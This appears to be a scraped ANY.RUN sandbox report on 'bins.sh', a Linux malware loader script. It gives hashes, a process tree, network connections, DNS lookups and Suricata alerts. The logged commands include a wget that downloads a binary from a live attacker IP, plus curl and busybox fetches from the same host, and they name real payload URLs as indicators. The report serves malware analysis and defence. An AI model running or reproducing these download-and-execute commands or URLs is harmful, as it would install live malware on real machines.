File name:	bins.sh
Full analysis:	https://app.any.run/tasks/d8f10de7-ea8a-4e58-a386-895513d42cc4
Verdict:	Malicious activity
Threats:	A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. Malware Trends Tracker >>>
Analysis date:	December 14, 2024, 11:45:05
OS:	Ubuntu 22.04.2 LTS
Tags:	exploit loader
Indicators:
MIME:	text/x-shellscript
File info:	Bourne-Again shell script, ASCII text executable, with very long lines (405)
MD5:	61BEE98EE7BE476F350E0F3F72736089
SHA1:	73E986B205335127E135AECCF5DF07B17E0BAEF4
SHA256:	9970E02776ACCC7B04F74B787C4A1BAA81EDD52357467F45FEC7CA809AE5BAA8
SSDEEP:	96:AoEnokCtMwCAEb80Z5FvR9pOhpmCSl1a3/q/jrdEAEb80sTktMwliTckzrdR9pOF:QCY5FvSA1a3/q/jr7fIkU3/q/jW

PID	CMD	Path	Indicators	Parent process
38753	/bin/sh -c "sudo chown user /home/user/Desktop/bins\.sh && chmod +x /home/user/Desktop/bins\.sh && DISPLAY=:0 sudo -iu user /home/user/Desktop/bins\.sh "	/usr/bin/dash	—	any-guest-agent
User: user Integrity Level: UNKNOWN
38754	sudo chown user /home/user/Desktop/bins.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38755	chown user /home/user/Desktop/bins.sh	/usr/bin/chown	—	sudo
User: root Integrity Level: UNKNOWN Exit code: 0
38756	chmod +x /home/user/Desktop/bins.sh	/usr/bin/chmod	—	dash
User: user Integrity Level: UNKNOWN Exit code: 0
38757	sudo -iu user /home/user/Desktop/bins.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN
38759	/bin/bash /home/user/Desktop/bins.sh	/usr/bin/bash	—	sudo
User: user Integrity Level: UNKNOWN
38760	/usr/bin/locale-check C.UTF-8	/usr/bin/locale-check	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0
38761	/bin/rm bins.sh	/usr/bin/rm	—	bash
User: user Integrity Level: UNKNOWN Exit code: 256
38762	wget http://37.44.238.68/bins/xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw	/usr/bin/wget		bash
User: user Integrity Level: UNKNOWN Exit code: 0
38763	/bin/sh -e /etc/NetworkManager/dispatcher.d/01-ifupdown connectivity-change	/usr/bin/dash	—	nm-dispatcher
User: root Integrity Level: UNKNOWN Exit code: 0

PID	Process	Filename		Type
38837	busybox	/home/user/8wI05uEFBjYQYNZuAH90YLaZ6RvMKpiFIV		binary
		MD5:—	SHA256:—
39970	busybox	/home/user/VItKWUC1D8znER1dGKk1hzbCnbLHWGSDBs		binary
		MD5:—	SHA256:—
41631	busybox	/home/user/CFNnkARIpEkRE5IndpDUSvSq7kydmyYUyC		binary
		MD5:—	SHA256:—
41700	busybox	/home/user/gE10EHJ9jLIVYWRUgnB686vAEWzhs6i2dr		binary
		MD5:—	SHA256:—
41784	busybox	/home/user/OonZSnwo2H7bZ4CInRIkSY56FFw9Uj9PEX		binary
		MD5:—	SHA256:—
42690	busybox	/tmp/5PB6zZ7rayFhch9WCZsycAh1XYPBqvIyew		o
		MD5:—	SHA256:—
43017	busybox	/tmp/VItKWUC1D8znER1dGKk1hzbCnbLHWGSDBs		o
		MD5:—	SHA256:—

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
—	—	GET	—	37.19.194.81:443	https://odrs.gnome.org/1.0/reviews/api/ratings	unknown	—	—	—
—	—	GET	204	91.189.91.96:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
38801	busybox	GET	—	37.44.238.68:80	http://37.44.238.68/bins/xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw	unknown	—	—	—
—	—	GET	—	37.19.194.81:443	https://odrs.gnome.org/1.0/reviews/api/ratings	unknown	—	—	—
—	—	GET	204	91.189.91.96:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
—	—	GET	204	91.189.91.96:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
488	NetworkManager	GET	204	185.125.190.97:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
38837	busybox	GET	—	37.44.238.68:80	http://37.44.238.68/bins/8wI05uEFBjYQYNZuAH90YLaZ6RvMKpiFIV	unknown	—	—	—
38811	curl	GET	—	37.44.238.68:80	http://37.44.238.68/bins/8wI05uEFBjYQYNZuAH90YLaZ6RvMKpiFIV	unknown	—	—	—
38806	xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw	GET	200	37.44.238.68:80	http://37.44.238.68/.shell	unknown	—	—	—

PID	Process	IP	Domain	ASN	CN	Reputation
—	—	91.189.91.96:80	connectivity-check.ubuntu.com	Canonical Group Limited	US	whitelisted
484	avahi-daemon	224.0.0.251:5353	—	—	—	unknown
—	—	195.181.175.41:443	odrs.gnome.org	Datacamp Limited	DE	whitelisted
—	—	185.125.188.59:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
38762	wget	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
488	NetworkManager	185.125.190.97:80	connectivity-check.ubuntu.com	Canonical Group Limited	GB	whitelisted
—	—	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
38801	busybox	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
38806	xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw	37.44.238.68:443	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
38806	xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown

Domain	IP	Reputation
connectivity-check.ubuntu.com	91.189.91.96 185.125.190.18 185.125.190.49 91.189.91.48 91.189.91.49 185.125.190.98 185.125.190.48 91.189.91.97 91.189.91.98 185.125.190.96 185.125.190.97 185.125.190.17 2620:2d:4000:1::2b 2620:2d:4000:1::97 2620:2d:4000:1::23 2620:2d:4000:1::96 2001:67c:1562::24 2620:2d:4002:1::198 2620:2d:4000:1::98 2620:2d:4000:1::2a 2620:2d:4002:1::197 2620:2d:4002:1::196 2620:2d:4000:1::22 2001:67c:1562::23	whitelisted
odrs.gnome.org	195.181.175.41 169.150.255.184 37.19.194.81 212.102.56.179 2a02:6ea0:c700::101 2a02:6ea0:c700::112 2a02:6ea0:c700::11 2a02:6ea0:c700::21	whitelisted
api.snapcraft.io	185.125.188.59 185.125.188.58 185.125.188.55 185.125.188.54 2620:2d:4000:1010::2e6 2620:2d:4000:1010::6d 2620:2d:4000:1010::117 2620:2d:4000:1010::42	whitelisted
google.com	142.250.186.174 2a00:1450:4001:829::200e	whitelisted
61.100.168.192.in-addr.arpa	—	unknown
conn.masjesu.zip	87.121.86.228 37.44.238.68	unknown

PID	Process	Class	Message
—	—	Misc Attack	ET COMPROMISED Known Compromised or Hostile Host Traffic group 18
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Misc activity	ET INFO Observed DNS Query to .zip TLD
—	—	Misc Attack	ET DROP Spamhaus DROP Listed Traffic Inbound group 3
—	—	Misc Attack	ET DROP Spamhaus DROP Listed Traffic Inbound group 3
—	—	Misc Attack	ET DROP Spamhaus DROP Listed Traffic Inbound group 21
—	—	Attempted Administrator Privilege Gain	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound

General Info

bins.sh

61BEE98EE7BE476F350E0F3F72736089

73E986B205335127E135AECCF5DF07B17E0BAEF4

9970E02776ACCC7B04F74B787C4A1BAA81EDD52357467F45FEC7CA809AE5BAA8

96:AoEnokCtMwCAEb80Z5FvR9pOhpmCSl1a3/q/jrdEAEb80sTktMwliTckzrdR9pOF:QCY5FvSA1a3/q/jr7fIkU3/q/jW

Software environment set and analysis options

Launch configuration

Software preset

Behavior activities

MALICIOUS

EXPLOIT has been detected (SURICATA)

SUSPICIOUS

Modifies file or directory owner

Connects to the server without a host name

Potential Corporate Privacy Violation

Executes the "rm" command to delete files or directories

Executes commands using command-line interpreter

Uses wget to download content

Reads /proc/mounts (likely used to find writable filesystems)

Connects to unusual port

Process requests binary or script from the Internet

INFO

Malware configuration

Static information

TRiD

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings